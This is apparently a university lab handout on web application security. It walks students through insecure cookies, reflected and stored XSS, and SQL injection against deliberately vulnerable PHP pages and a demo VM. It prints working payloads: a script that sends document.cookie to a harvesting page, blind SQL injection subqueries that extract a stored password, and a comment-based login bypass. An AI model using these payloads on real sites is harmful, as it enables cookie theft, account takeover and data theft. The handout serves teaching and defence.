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Goal:  The goal of this lab is to introduce you to the varying security issues related to hosting a web server and web applications, and then to suggest ways in which to protect yourself, your users, and your data.

Summary:  In this lab, we will take a look at varying security issues that relate to web security, both on the server and the client side.  There are five sections and each section starts with some background information, presents the issues, then will conclude with helpful pointers to prevent that section’s information disclosure.  

The first section deals with the basics for creating, assigning, and accessing cookies in PHP and the potential security risks involved.  The next section will take a look at Cross-Site Scripting, the different types that are available, what information they can expose, and how an administrator can help prevent them.  Section Three contains examples of SQL Injections and demonstrates their potential.  The next section will combine the previous ones into a small, practical example (created by SPI Dynamics) that you may use to see how sites that appear to be secure really are not.  Finally, the lab will end with a section depicting how easily information can be obtained from documents that were “censored” and placed online, especially if the censoring is not done well.
Background and Theory:  To begin, not all websites are insecure.  There are many out there that are supported by a staff that works around the clock to ensure that their site is as secure as possible.  However, there are also many other sites where the administrators are too short-handed or are completely oblivious to their security holes or even think that the attackers will not take the time necessary to hunt down their security holes.  This, obviously, is a huge problem.
It is easy to take the security of the software you built and your commercial software for granted.  However, one needs to have a good understanding of what is going on in both of these cases in order to secure everything.  Lightly glancing over software documentation or programming APIs might make one feel like they are using the software correctly, however they may not be.  This is especially important for large scale commercial products that have user manuals posted online.  An administrator may not want to take the time to read the entire document to learn how everything works, but if an attacker really wants to get in, then they will take the time to read the documentation themselves and use that information to exploit any default settings they can find.
This lab is a general test on assumptions.  One may assume that their software is secure, or that the user will only enter valid data, or even that the server has the proper security settings, but items as important as this need to be understood and verified in order to obtain the maximum level of security.

Requirements:   You will need the following machines.  No special configuration is required.
· Red Hat WS 4

· SPI Dynamics VMWare machine (Windows 2000)

· Windows XP VMWare machine

Prelab Questions:  None.

Section 0: Setup
Section 0.1 – Setting up Apache
Apache should already be installed on your Red Hat WS 4.0 Machine.  If it is not, please follow the instructions provided in Lab 2 to install it.  Once it is installed, you should have a directory called apache2 located in either /home/apache2, /usr/local/apache2, or /var/local/apache2.  Remember this location because the rest of the lab will refer to it as: [path to apache2].

Next, we need to modify the server’s configuration file to use PHP.  The file is called httpd.conf and is located under the apache2 directory ([path to apache2]/conf/httpd.conf).  Once you have found it, add the following lines.  (Search for them in the config file and place them under the commented examples.)
LoadModule php4_module modules/libphp4.so

DirectoryIndex index.html index.html.var index.php

AddType application /x-httpd-php .php

Section 0.2 – Setting up PHP
Now that the server is configured to read the PHP files, we need to ensure that it will be able to interpret them correctly.

To begin, we need to install PHP and MySQL.  You will need to obtain the Red Hat installation CDs from a TA.  To install, go to:

· Red Hat Menu -> Applications -> System Settings ->Add/Remove Applications

· Under “Services”, find MySQL Database

· Open “details”

· Select

· PHP-MySQL

· MYSQL Server

· MYODBC

· MYSQL-Devel

Now, locate the file php.ini.  (You can do this by using the locate command, but you may need to run the updatedb command first.  Refer to the man pages if you do not know how to use this.)  Open php.ini and set the document root to the path of your htdocs directory.  For instance, if apache2 is located under /home/, then find the line in php.ini starting with doc_root and type the following:

doc_root = “/home/apache2/htdocs/”

Remember, the above line may vary depending on where your apache2 directory is located.

Now it’s time to test our PHP installation.  We will do this by creating a test file in apache2/htdocs called test.php with the following line:

<?php phpinfo(); ?>

Before we can view it, we need to restart the web server for the changes to take effect.  First, copy the libphp4.so file to [apache2 directory]/modules/.  (It should be located in /usr/lib/httpd/modules/).  Then type:

#[path to apache2]/bin/apachectl restart

Open up a web browser and go to http://localhost/test.php. You should now see a page with tables full of information about your PHP install.

Section 0.3 – Setting up MySQL

To configure MySQL, open a terminal as root and type the following:

#service mysqld start

#mysqladmin –u root password password

The first line starts the MySQL daemon, which you will need to run anytime you start your machine so that you can use the database.  The second line adds a user named root, with the password “password” and will only need to be run once.

This lab uses three databases, which are setup and described below.  One will be used to store captured cookie information, one will be used for a message board, and the third one will be used to store login information. To create each of these databases, we will need to execute the following commands.

First get a myslq> prompt by typing 
#mysql –u root –p

Type your password when you are prompted. Now enter the following commands, which you can copy from the commands.sql file provided in the lab folder:

mysql> create database ece4112;

mysql> use ece4112;

To create the cookies table:

mysql> CREATE TABLE `cookies` (

  `id` int(11) NOT NULL auto_increment,

  `username` varchar(100) NOT NULL default '',

  `password` varchar(100) NOT NULL default '',

  PRIMARY KEY  (`id`)

) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=7 ;

mysql> INSERT INTO `cookies` VALUES (6, 'testertest', 'hilohilo');

To create the message board table:

mysql> CREATE TABLE `messages` (

  `msg_id` int(11) NOT NULL auto_increment,

  `title` varchar(50) NOT NULL default '',

  `body` text NOT NULL,

  PRIMARY KEY  (`msg_id`)

) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=19 ;

mysql> INSERT INTO `messages` VALUES (1, 'Test Message 1', 'This is a test.');

mysql> INSERT INTO `messages` VALUES (2, 'Test Message 2', 'This is another test.');

mysql> INSERT INTO `messages` VALUES (3, 'We love 4112', 'What a great message.');

mysql> INSERT INTO `messages` VALUES (4, '42', 'Meaning of life the universe and everything.');

mysql> INSERT INTO `messages` VALUES (5, 'Hello', 'Hey everyone!');

mysql> INSERT INTO `messages` VALUES (6, 'We need more messages', 'Here is yet another message!');

mysql> INSERT INTO `messages` VALUES (7, 'Yo dude', 'Jeff should type more of these.');

mysql> INSERT INTO `messages` VALUES (8, 'Lalala', 'Typing messages for people.');

mysql> INSERT INTO `messages` VALUES (9, 'Yet another message', 'Here is a hint.  Post a message.'); 

To create the users table:

mysql>CREATE TABLE `users` (

  `user_id` int(11) NOT NULL auto_increment,

  `first_name` varchar(50) NOT NULL default '',

  `last_name` varchar(50) NOT NULL default '',

  `address` varchar(50) NOT NULL default '',

  `city` varchar(50) NOT NULL default '',

  `state` char(2) NOT NULL default '',

  `zip` varchar(5) NOT NULL default '',

  `phone` varchar(10) NOT NULL default '',

  `email` varchar(50) NOT NULL default '',

  `password` varchar(8) NOT NULL default 'password',

  PRIMARY KEY  (`user_id`)

) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=5 ;

mysql>INSERT INTO `users` VALUES (1, 'Jeff', 'Jo', '1008 State Street', 'Atlanta', 'GA', '30318', '4041234567', 'jeff.jo@ece.gatech.edu', 'password');

mysql>INSERT INTO `users` VALUES (2, 'Tim', 'Jackson', '342 Hempill Avenue', 'Atlanta', 'GA', '30318', '7704325543', 'tim.jackson@ece.gatech.edu', 'password');

mysql>INSERT INTO `users` VALUES (3, 'Unsuspecting', 'User', '10 Hackme Place', 'San Diego', 'CA', '45443', '3153332222', 'hackme@vulnerable.com', 'password');

mysql>INSERT INTO `users` VALUES (4, 'Henry', 'Owen', '10 Professors Place', 'New York', 'NY', '07321', '2124432345', 'henry.owen@professors.com', 'goodbye');

To create the login database:
mysql> create database my_database;

mysql> use my_database;

mysql> CREATE TABLE users (

id int(10) NOT NULL auto_increment, 

username varchar(40),

password varchar(50), 

regdate varchar(20),

email varchar(100),

website varchar(150),

location varchar(150),

show_email int(2) DEFAULT '0',

last_login varchar(20),

PRIMARY KEY(id));

After executing these commands, you should have two databases called: ece4112 and my_database. You can verify this with:

mysql> show databases;

Now, ece4112 has three tables: cookies, messages, and users. my_database has one table: users.  You can verify this, respectively, by typing:

mysql> show tables from ece4112;

mysql> show tables from my_database;

Refer to Appendix C for more information about mysql statements.

Section 1: Cookie Basics

Before you begin, make sure you have obtained all of the PHP source code files for this lab from the NAS.  Unzip the files to [path to apache2]/htdocs/ using “tar –xvzf”.  Also, to make later parts of the lab easier, ensure that all of your cookies are deleted by opening your web browser on your WS4 machine and deleting them.  (You will also want to do this on your XP machine as well.)  For Firefox, go to:

Edit -> Preferences -> Privacy

Click the “Clear” button next to “Cookies.”

Background

When setting and using cookies, especially for the purpose of holding sensitive information, it is important to make sure one knows exactly what they are doing.  For instance, PHP contains a simple method that will allow the creation and use of cookies (even with some parameters for security).  However, if this method is not used correctly, the information can still be stolen by an attacker.

Section 1.1 – Setting a cookie in PHP

Please read Appendix D about how to set a cookie in PHP.  You’ll notice that most of the examples later in this lab use JavaScript to create and access cookies, but it is important to know that you can also do it in PHP.  Appendix A contains information about how to set and access cookies via JavaScript.
In a nutshell, you should have read that there are a couple of options which you may use when setting a cookie and that PHP has a built-in, global variable which will allow you easy access to your cookies.  The most important part to notice here is that the secure option, on the PHP website, is described as follows: “Indicates that the cookie should only be transmitted over a secure HTTPS connection. When set to TRUE, the cookie will only be set if a secure connection exists. The default is FALSE” [13].  Remember this as you go through this section.
Section 1.2 – How secure is it?

Now we will test the “secure” parameter of the setcookie() method to see how well it works.  Go view the source code of setcookie.php located in [path to apache2]/htdocs/ece4112/test/ in a text editor (not through the browser).  Do NOT go to the page yet.  If you did, clear your cookies and close your browser.  

This is just a demonstration of how the code would create the cookie based off of the user supplied information.  Change the $myIP variable to the IP address of your WS4 machine.   For simplicity’s sake, we skipped the step where you would enter your user name and password and jumped right to the cookie setting part.   We just want to quickly demonstrate how the cookie is passed along.
Q1.2.1 From the source code, what are all the parameters used to set the cookie?

Now, open Ethereal on your WS 4 machine and start capturing packets.  Open your browser on the Windows XP virtual machine and navigate to:

http://[IP WS4]/ece4112/test/setcookie.php

Once it has successfully loaded you should see some output on the screen confirming that a cookie was set..  Go stop Ethereal and look for the packets sent over the connection.  Right-click on one of the packets and select “Follow TCP-Stream.”
Q1.2.2 Can you read the contents of the cookie?

Screenshot 1: Take a screenshot or print the TCP-Stream that you captured.

Q1.2.3 Did the security option work like we thought it would?

How to Protect your Cookies

The best method for protecting the information within your cookies, if you are unsure of your server’s security setup, is to encrypt the data within the cookies by sending its hash value (for instance, by using the md5() function).  In our examples, the server was not setup to accept secure connections, in which case, according to the documentation, it should not have set the cookie.  
One good tool to use to evaluate your webpage is WebSleuth, which may be found at: http://www.geocities.com/dzzie/sleuth/.  (Do not be dissuaded by the geocities domain, this is a good program and has been referenced by many security sites.)  It provides a graphical interface that allows you to surf your website and see all of the information present in the source code.  It does this by separating the source into tabs, dividing the sections into: comments, header, cookies, and more.  The cookie’s tab would be most useful for the above exercise since it will display exactly what the cookies contain, so it would be easy to verify if sensitive information is in plain text.   It also comes with plugins, including an HTTP/Cookie session ID brute forcer, SQL injection tester, and HTTP brute forcer [14].
It is also important to be aware that programs like this make it easy for attackers to create their own data for form entries and supply that to the webpage.  For instance, some applications send an HTTP request (GET or POST) when handling logins, searches, etc.  When data is sent via POST, it is not visible in the URL string, so some may assume that it is hidden.  However, programs like WebSleuth and Achilles (http://www.mavensecurity.com/achilles) make it very easy for an attacker to see which fields are present in the background and to modify their values before sending it to the server, where it will probably be used without validation.  Although this lab does not specifically address GET and POST methods, it is still a risk that an administrator should be aware of.
Section 2: Cross-Site Scripting
Before beginning this section, delete all of the cookies from the browsers you are using on all systems.  Do so like the beginning of Section 1.
Background

Cross Site Scripting (CSS or XSS) refers to a vulnerability in web applications where an attacker can “inject” code (usually JavaScript) into a page in a manner such that the web page subsequently executes the code. Since its discovery, the acronym for Cross Site Scripting, CSS, has been replaced with XSS because of the obvious confusion with Cascading Style Sheets.

XSS vulnerabilities appear in dynamic web applications that do not properly validate and escape user input. The classic example is a search engine application that prints back the original query to the user when listing the query’s results.

XSS has been categorized into three types:

Type 0: DOM-based or local

Type 1: Non-persistent or reflected

Type 2: Persistent or stored

Type 0 DOM-based attacks rely on JavaScript’s ability to be run with the full privileges of the “local zone” if the code is executed from a page that resides on the client machine. For example, if an attacker hosts a malicious site that links to a page on the client’s machine that contains a XSS vulnerability, code can be executed with the privileges of the user’s browser. Although DOM-based attacks can be very powerful, reflected and persistent XSS attacks are more popular in practice and will be the focus of study in this lab.  If you would like to know more about Type 0 attacks, the Internet has many great sources for you to look at.

Section 2.1 – Type 1: Reflected XSS Attacks
Before you start, edit the web server address in the file /apache2/htdocs/ece4112/common/web_server_ip.php to the IP of your host machine.

As cited earlier, a potential Type 1 XSS attack can spawn from a search engine that does not properly escape the user’s input.

On the WS 4 machine, open up the web browser and navigate to 

http://localhost/ece4112/searchengine/search.php

You’ll notice that this page mimics the popular Google search engine.  Type a query in the text input box and click the “Google Search” button. You’ll be taken to a page that lists mock results, but notice near the top of the page that the query you entered on the previous page is shown again on the page. Press back and type the following query into the search box:

<input type= “text” value=“I Love ECE4112”>

Click the “Google Search” button. Notice that the search results now has a text box with the default text set to “I Love ECE4112”. Now that we know we can type in any HTML into the search box and have it executed by the search results page, let’s see what we can do with JavaScript. Hit the back button and type in the following query:

<script language=Javascript>alert(‘ECE4112 is NOT a hacking class!);</script>

Click the “Google Search” button.

Q2.1.1 What happened when the results page was displayed?

Screenshot 2: Take a screen shot of the search results page showing the effects of the injected script that you typed into the query box

Although this example is not very malicious or useful to an attacker, it’s a prime example of how XSS vulnerabilities arise in web applications. For instance, we will see how attackers can use similar techniques to steal cookies later in this lab.  Click OK on the dialog box to exit the alert window if you have not already done so.

URL variables are a way to pass data between subsequent page requests. This data is passed via the URL line and takes the format:

http://<page address>?<variable name>=<variable value>&<variable name>=<variable value>…

To summarize, the URL variables appear after the web page’s address followed by a “?”. Then the variable name and variable value pairs are separated by a “&”.

Q2.1.2 Looking at the URL line at the top of the browser, what is value of the URL variable “searchQuery”?

Look at the code for this page by navigating to it on your machine (not through the browser).  Lines 9 and 10 are what interest us:

9:
<strong>Your Search Query Was:</strong><br>

10:
<? print $_GET[“searchQuery”];?><br/><br/>

For those who are not familiar with the PHP scripting language, all PHP code must be enclosed within <? ?> tags. The “print” command simply writes its argument to the output stream (in this case, the HTML document). The $_GET[] array is an array of URL variables that were passed in the URL. A partial PHP reference has been included at the end of this lab.

Q2.1.3 What are these two lines of code doing in the context of the application?

One way to ensure that these web pages are not vulnerable to this type of attack is for web developers to check that any user input that is redisplayed in the browser is properly formatted or quoted to display the actual value of the user input as opposed to executing any code that may be present. Further discussion about how to combat XSS vulnerabilities is included at the end of this section.

Q2.1.4 Take a look at Appendix B. Which PHP function may be useful for properly handling user input?

Q2.1.5 Rewrite line 10 of the code above to reflect this change.

Now that you have seen a simple example of a reflected XSS attack, let’s move on to something a bit more malicious.

Section 2.2 – Cookie Stealing and XSS

The HTTP protocol was designed to be a “stateless” protocol meaning subsequent requests that are sent to a web server know nothing about each other. As web applications became more complex a need to maintain certain state information across client requests became necessary. One solution to this has been the adoption of web browser cookies. Cookies are small text files (less than 4KB in size) that web applications create on a client machine to maintain state. 

The format of a cookie is outlined in RFC2965. (http://www.ietf.org/rfc/rfc2965.txt)  The attributes that we are interested in for the purposes of this lab are:


NAME


Specifies the name of the cookie

VALUE

Specifies the data value associated with this cookie.
MAX-AGE

Specifies when the cookie should expire. An expired cookie should be deleted.
DOMAIN

Specifies the domain for which this cookie is valid.

PATH

Specifies the path on the web server where this cookie applies.

The DOMAIN and PATH attributes listed above are of particular importance. They prevent a web server whose domain and path values do not match what is contained in the cookie from accessing the contents of the cookie. For example, if www.google.com writes a cookie on your machine, then www.hotmail.com cannot read this cookie since Hotmail’s domain does not match Google’s. Similarly, if a page in the path www.google.com/search/ writes a cookie and specifies the PATH attribute to be “www.google.com/search”, then another page with a different path (ex. www.google.com/differentpath/) cannot access the cookie. We will revisit this a bit later.

Some common examples where cookies may be used are:

· In an online shopping application to keep track of what products a user has looked at in order to deliver recommendations based on past activity

· To keep track of what is in a user’s online “shopping cart”

· To store a session id which tells the web server if the current user is logged in and as a means for authentication

· To send annoying pop-ups based on a user’s past browsing habits.

Another very common use of a cookie can be seen in web applications that “remember” a user’s username and password so that they don’t have to type it in every time they visit the site. Hotmail (www.hotmail.com) is one site that uses cookies for this exact purpose.

Q2.2.1 Why are the DOMAIN and PATH attributes important in term of security? (Hint: What kind of data may the cookie potentially contain?)

We will observe how XSS attacks can be used to steal sensitive information that may be contained within a cookie. On your WS 4 machine, use the web browser to navigate to http://localhost/ece4112/cookie/login.php. You’ll notice that this is a simple login screen that is very commonly seen in many web applications that require authentication.

The page you are viewing takes as input a username and password and then saves a cookie on your local machine that contains the values which you entered. In a real world application, your password would probably not be stored as plaintext in a cookie, but rather the hash value of the password. Even though this practice is reasonably secure, hackers who have access to these hashes may be able to crack them using offline password cracking programs. Let’s suspend our disbelief for a while and continue with the plaintext version of the password stored in the cookie.

To demonstrate that this login page works (somewhat), navigate to http://localhost/ece4112/cookie/welcome.php. 

Q2.2.2 What happens when you try to go directly to the welcome page?

Browse back to http://localhost/ece4112/cookie/login.php. Right click in the browser window and select “View Page Source”. Take a look at the makeCookie() JavaScript function that is located near the top of the page. This function performs some basic validation and makes the cookie once the login information is entered.

Take a look at the code after the else statement.

Q2.2.3 What are the two lines that start with “document.cookie = “ doing? List the following attributes of the two cookies, NAME, MAX-AGE, PATH. Refer to the Javascript reference located in Appendix A.

Enter your group number (eg. Group 36) for the name field

Make up a super secret password that you think would never be guessed by anyone in a million years. 

Click the Login button. 

This will bring you to a welcome screen that greets you with a welcome message that contains the name you entered on the previous page.

Q2.2.4 Look at the source of this page (/ece4112/cookie/welcome.php) and describe a potential XSS vulnerability that exists on this page. (Hint: It’s near the welcome message)

Now to ensure that the cookie has been saved properly, let’s run some tests.

Test 1: Make sure that going to the site does not require you to log in again. To do this, on your WS4 machine navigate to http://localhost/ece4112/cookie/welcome.php.

Q2.2.5 What happens this time when you go directly to the page?

Test 2: Let’s ensure that the PATH attribute of the cookie was set properly. As you answered in a previous question, the PATH attribute of the cookie has been set to the path that the web page is located in. That means another page that is located in a different path on the web server cannot access the contents of the cookie. We demonstrate this with a simple web page that prints out the value of the cookie.

Again, use your web browser to navigate to http://localhost/ece4112/cookie/testcookie.php. 
Take note of the path that this page is located in.

Q2.2.6 What do you see when you navigate to this page?

Now, user your web browser to navigate to http://localhost/ece4112/badcookie/testcookie.php. **Notice that the path of this page is different. **
Q2.2.7 What is different when you navigate to this page? Why is this so?

Now that we have demonstrated that the cookie has been written and the path attribute set correctly, let’s demonstrate the attack. The scenario for this attack is an attacker knows that you have a user name and password to this site and wishes to exploit the fact there exists an XSS vulnerability on the site. He sends you a malicious e-mail which will carry out his attack. We simulate this email in the form of a web page. Since most email clients today support HTML code in the body of email messages, this is a plausible scenario.

Use your browser to navigate to http://localhost/ece4112/badcookie/bademail.php. You will see that this email simply tells you to log into the site to update your financial information. Set aside your best moral judgment for the time being and click the “Login to Website” link.

Q2.2.8 What happens when you click the link? Does it seem as though anything malicious has occurred?

Let’s take a look at what’s going on behind the scenes.  On your WS4 machine, navigate to [path to apache2]/htdocs/ece4112/badcookie/ and open bademail.php (not in a browser). 
The important lines that should be noted are the lines that contain the <a> tag that links to the website.

Q2.2.9 What do you think the <a> tag in the malicious tag is doing.
Use your browser to navigate to http://localhost/ece4112/badcookie/mycookies.php. This page simply prints out all cookies that have been collected by the malicious attacker.

Q2.2.10 Do you see your group name and super secret password?

Q2.2.11 Review the source code for this file within the file system (not through the browser). What is this program doing?

Q2.2.12 When the link in the email was clicked, why did it seem as though no malicious activity took place?

An attacker could have disguised their mischief even further by escaping the malicious <a> tag with its hexadecimal equivalent. For example:

NOTE: “<a href” could have been written in the code as its hexadecimal equivalent: %3C%61%20%68%72%65%66.
Section 2.3 – Type 2: Persistent XSS attacks

The third way which attackers can exploit XSS vulnerabilities is by using a persistent, or stored, form of XSS attack. In this form, the attacker relies on an application that stores data in a database and displays this data to unsuspecting victims at a later time. A classic example of this type of attack can be found on web-based message board or newsgroup applications. A vulnerability in one of these types of applications arises when the code does not properly escape message that have been posted by users. Similar to the cookie attack that we saw in the previous section, an attacker could post a message which steals the user’s cookie. When unsuspecting users go to view that message, they would inadvertently open up the page which prints out the un-escaped message and subsequently, their cookie would be stolen. Hackers could use this type of attack to potentially target large numbers of users.

Using your web browser on your WS4 machine, navigate to http://localhost/messageboard/login.php. 

Enter your group number (eg. Group 36) for the name field

Make up a different password than the one you used in the previous exercise.

Click the Login button.

You will be taken to a page that greets you with a welcome message and a list of forum message that have been posted to the server. Clicking any of these titles will bring you to a page that allows you to view the contents of the message.

Q2.3.1 Look at the source code for messages.php and view_message.php within your system (not through a browser).  Which part(s) of the code are vulnerable to XSS attacks?
Back in your browser window, click the “Post Message” button. This will bring you to a page where you can post a new message to the forum. In the “Message Title” field, type in a title that may tempt a user to click on the message (use your imagination). In the “Message Body” field, enter the following text:

<script>document.location="http://localhost/ece4112/badcookie/harvestcookies.php?sucker2=" + document.cookie;</script>

Q2.3.2 What does the above code do?

Click the “Post Message” button to post your message. You will be taken to a page which confirms that you have just posted a message. Click the “Back to List Messages” link to go back to the list of messages. Click the message title of the message you just posted.

Q2.3.3 What happens when you click the message title? Does it look like anything malicious has occurred? Explain what has just happened.

To further reinforce how this vulnerability can be exploited your next task is to post a simple message which takes advantage of the vulnerability.

Q2.3.4 Post a message that, when clicked, will pop up an alert window with a message. What is the text you entered in the message body field to achieve this?

Screenshot 3: Click on the message that you have just created and take a screenshot of the exploit in action (the browser window with the alert window).
How to combat XSS

There are several ways to combat the XSS vulnerabilities presented in this lab. One definitive way to combat JavaScript attacks is for users to disable JavaScript on their web browsers. This, however, is not a feasible solution as many websites today require that JavaScript be enabled. Because of the inherent vulnerabilities present in JavaScript, many web application developers today are moving towards writing code that does not require the use of JavaScript.

The other, more viable alternative is for web developers to be informed of these types of attacks and write code that is not vulnerable. Developers should validate all user input. For example, if an input field should not contain a class of special characters (such as an email address, the input should be rejected by the application. Almost all of the reputable programming languages that are available to web developers include special functions that “sanitize” any dynamic text that is displayed to users. What this does is escape any special characters into their HTML equivalents, so that they cannot be injected into the page. This method, however, is limiting to web applications that allow users to post HTML formatted messages.

A more difficult alternative is for developers to write code that allows user-supplied HTML in the output of the web page, but checks the data and prevents any blacklisted code from being displayed.

Section 3: SQL Injection on Linux Apache
Background

SQL injection is an attack vector against sites which utilize SQL databases to store and retrieve data.  The goal is to modify variables being sent by the webpage to the database and so cause the return value to be something other than what the page creater intended.  The primary vector of SQL injection is to take advantage of the fact that SQL statements can be chained together using the ; and ' characters.  It is therefore possible to modify the SQL statement SELECT * FROM atable WHERE column=1 to SELECT * FROM atable WHERE column='(SELECT COUNT(*) FROM atable)' and that will cause the statement to return the last row.  This is useful as it will indicate how many rows there are in the table.  Other subqueries may yield equally useful information.

The best defense against SQL injection is input validation.  All input from the client should be validated to ensure its proper type.  If a number is expected, strings should not be accepted.  Strings should not be allowed to contain ''','@', or ';' characters.  These special characters can be escaped and restored upon retrieval.

Before proceeding, if you do not have a good understanding of databases (MySQL in particular), be sure to read Appendix C in its entirety.  Pay close attention to the sections on using quotes, comments, and semicolons.  Also, if you feel you need some more information, please reference Appendix E, which describes SQL injections in more detail, in a FAQ style.
Section 3.1 – Introductory Exercises

There are several ways to launch a SQL Injection attack.  The simplest is by modifying arguments in the URL; for instance, changing the http://www.hackme.com/index.php?msg_id=23 to msg_id=24.  This is a trivial change, but it is useful to see what happens.  

Use your web browser to go to http://localhost/ece4112/messageboard/messages/php.  You will need to create a login before you are allowed to view messages.  (See earlier part of lab for how to do this.)  
View the messages and click on a single message.  You will note the value of the msg_id in the URL.  Modify it and watch what happens.  If you select a message that exists, you will get that message, if not you will get an error message.  On many systems, particularly those powered by Microsoft's ASP pages, the error messages that come back can be very useful.  This is a useful thing to note.  Set the msg_id to 1ee7 and load the page.

Q3.1.1 What message do you get back when you set the msg_id value to 1ee7?

Looking at view_messages.php within your filestructure (ie: not in your browser), you will see that the site uses a query:

SELECT * FROM messages WHERE msg_id=<number>

That number comes from the msg_id= field in the URL.  By changing it, we are able to insert whatever we want, including other queries.  This is the most common vulnerability.  One way this can be useful is to get information about a database.  In this case, we want to know how many users are in the database.  Change the URL to be http://<ip_address>/ece4112/messageboard/view_messages.php?msg_id=(SELECT COUNT(*) FROM users)

This will cause msg_id to be the return of the subquery (SELECT COUNT(*) FROM users).  COUNT() returns the number of items in a list and * is a wild character meaning all.  So, we are going to count the number of rows in the users table.  The SELECT is necessary to make a proper query and return the output of COUNT().  So, if there were 100 users in the database, we should get back message 100.  Note the "Message ID:" entry on the page.  This will tell you which message was actually returned by the query, since the msg_id variable will still look like your subquery.

Q3.1.2 Which message do you get back when running http://<ip_address>/ece4112/messageboard/view_messages.php?msg_id=(SELECT COUNT(*) FROM users)?

Section 3.2 – Blind SQL Injection

One way of combating SQL injections is to block any error output from being displayed to the user.  For most web servers, this is just a simple variable change within the server’s configuration file.  The admin can identify a specific page that will be displayed if there is a database error (say, one that simply states there was an error, without displaying any details which the attacker could use).  The actual error output could then be collected in a document somewhere that only the authorized administrators can view so that debugging can still take place.

However, this does not necessarily mean that an attacker cannot use SQL injection anymore.  Let’s see why.  Back in your browser, change the URL so that the msg_id value is 0.

Q3.2.1. What happens?

Use msg_id=1.

Q3.2.2. What happens?

So how is this helpful for attackers, you ask?  Well, now they can make some modifications to their query so that they ask the database a true/false question.  The database will then return 1 or 0, which will then display a valid page AND still let them know what’s in the database. 
The database contains a table called users which has a column called password.  Your mission is to retrieve a password from the users table.

The first step is to decide what the query would be if it could be run directly.  Normally, it would be:

SELECT password FROM users WHERE user_id = SomeNumber 

However, it is not possible for you to directly make this query.  So, you will have to trick the database into giving you back the information.  Since we already know the user_id of the last user in the database, we are going to steal that person's password.  The first step is to figure out how long the password is.  To do this, you want the LENGTH() operator.  Your query now becomes 
SELECT LENGTH(password) FROM users WHERE user_id = [UserIDYouStole]
where [UserIDYouStole] is the id of the last user in the database.  This should now take you to the message that corresponds to the number of characters in the password.  Make the above your subquery at the end of the URL.

Q3.2.3. How long is the password we are going to steal?

We now need to actually retrieve the password.  To do this, we need the LEFT() operator.  LEFT() takes in two parameters: column name and number of characters.  We can therefore run the query SELECT LEFT(password, 1) FROM users WHERE user_id= [UserIDYouStole] to get the first character in the password field.  Unfortunately, we can't return that directly.  We can, however, return the comparison of that character to another by the < or > operators.  Since TRUE=1 and FALSE=0, we can use this as part of a WHERE clause to return output even if we can't get actual error messages.  This allows us to build the subquery ((SELECT LEFT(password,1) FROM users WHERE user_id=UserIDYouStole) < 'n').  So, our URL now looks like 
http://localhost/messageboard/view_messages.php?msg_id=((SELECT LEFT(password,1) FROM users WHERE user_id=UserIDYouStole) < 'n')  
Now, look at view_message.php within your filesystem.

Q3.2.4. What is the $SQL variable going to be when it is submitted to the database?

We know that the Message ID field will tell us whether the output from our subquery was a 1 or a 0.  Using this, you can do a search by changing the 'n' to whatever string you want to guess.  Once you have found the first character, change the argument to LEFT(password,2) and start using two character strings, say 'no' if n was the first character.  Remember to change <b>only</b> the last character.

Q3.2.5. What is the user_id/password combination you stole?

Q3.2.6. How might a web developer prevent this type of data theft?

Section 3.3 – Faulty Login Page

Now that we have seen how to use SQL injection directly with the URL, it is time to see how a faulty login can provide us the same results.  In this exercise, we will be looking at two login pages: one that is not secure and one that has been hardened. You will be comparing the difference between the two in the next section. But for now, we will just see how a fault login can be extremely dangerous.

From NAS, get the file php_login.tar.gz. Place the un-tarred folder in 

[path to apache2]/htdocs.

In a web browser, go to http://localhost/php_login/login_corrupt.php.

Try a random username and password and observe what happens.

A statement similar to the one below should be displayed:

SELECT username FROM users WHERE username = ‘group1’ and password = ‘group1’

This print out is not usually part of the error message; rather it was printed so you could see the kind of SQL statement generated to check the username and password.

Go back to the login page and now type in the username field:

<your group name>’ –

and junk for your password.

Q3.3.1 What happened? Explain why this sql injection worked. (Hint: what is -- in a sql statement?  Look at the appendices.)

Q3.3.2 List at least three other similar sql injection code snippets that could be used to exploit this login?

Screenshot 4: Take a screen shot of a successful login.

Section 3.4 – Securing the Login Page

Now that we have seen what a corrupt login looks like, we can investigate how to secure the login page.

In a web browser, go to http://localhost/php_login/login.php. Play around with the login page to see if there are any obvious outputs. 

To register a username, go to http://localhost/php_login/register.php

Try SQL injection statements in login.php. What happens?

Now open up login.php.

Q3.4.1 How are the passwords stored in the database? For verification, go to the database in MySQL and view the contents of table users by typing select * from users.

Q3.4.2 How is the username and password verification different in login.php versus login_corrupt.php?

Q3.4.3 What does the get_magic_quotes_gpc() function do?
Q3.4.4 What are magic quotes?
Q3.4.5 Explain the general strategy in preventing SQL injection statements.

Section 4: Practical Web Exercise on Windows Server

Copy the image called Exploit-IBuySPI-VMWare.zip from the NAS server to your root directory. Unzip the file using the unzip command.

Follow normal procedures to create the virtual machine. When creating the virtual machine, you may be prompted about upgrading to match your current VMWare installation.  If so, click on the upgrade button.  (This process may take a couple of minutes.)

Starting the Image

For this system, the username is “administrator” and the password is “pass.” 
This machine will run IIS, iPlanet, MSDE (SQL server), and DNS. Although a Windows update icon displays the message “Click here to update,” do not run Windows update or portions of this website may stop working. 
To access the website, enter http://172.16.10.17/ into the browser’s address bar. You will be forwarded to the portal located at http://172.16.10.17/StoreCSVS/. The first time you access this portal (after booting up your computer) will be very slow. This is normal and can’t be avoided. Subsequent accesses will occur at normal speed.

Creating an Account

First, you need to register and create an account on this portal.   It is very important that you remember the email address you use and the password because this is what you will use to log in.  (The name you enter will be displayed once you log in.)
1. Click Sign In on the upper right navigation bar.

2. When the Sign In page appears, click Register. You will then be asked to create an account.  

3. Enter your name, e-mail address, and password, and then click Submit.  

The web site will display the Shopping Cart page. 

After creating an account, you will need to log into it. To do this, click Sign In on the navigation bar at the top of the page. You can then continue to the vulnerability sections below.

Section 4.1 Cross-Site Scripting

Once you are logged in:

1. Click WWWBoard on the navigation bar. 


When the “Post a Message” form appears, enter your name and type a subject in the subject line. 

In the Message box, type:

<script>alert(document.cookie);</script> 

Click Post message. 

Although the application executes your JavaScript, displaying an alert box that contains your cookie information, this is not the actual attack. The attack occurs in step 6.

Click OK to close the alert box.

Next, click Go to Your Message.

2. When you visit this page, a box will pop up and display your cookie information. If an attacker can execute this JavaScript, then an attacker can also steal your cookie. If an attacker can steal your cookie, then an attacker can log in under your account and gain control over it. For additional information on how an attacker can steal your cookie, go to http://www.cgisecurity.com/articles/xss-faq.shtml. 


3. Click OK to close the alert box.

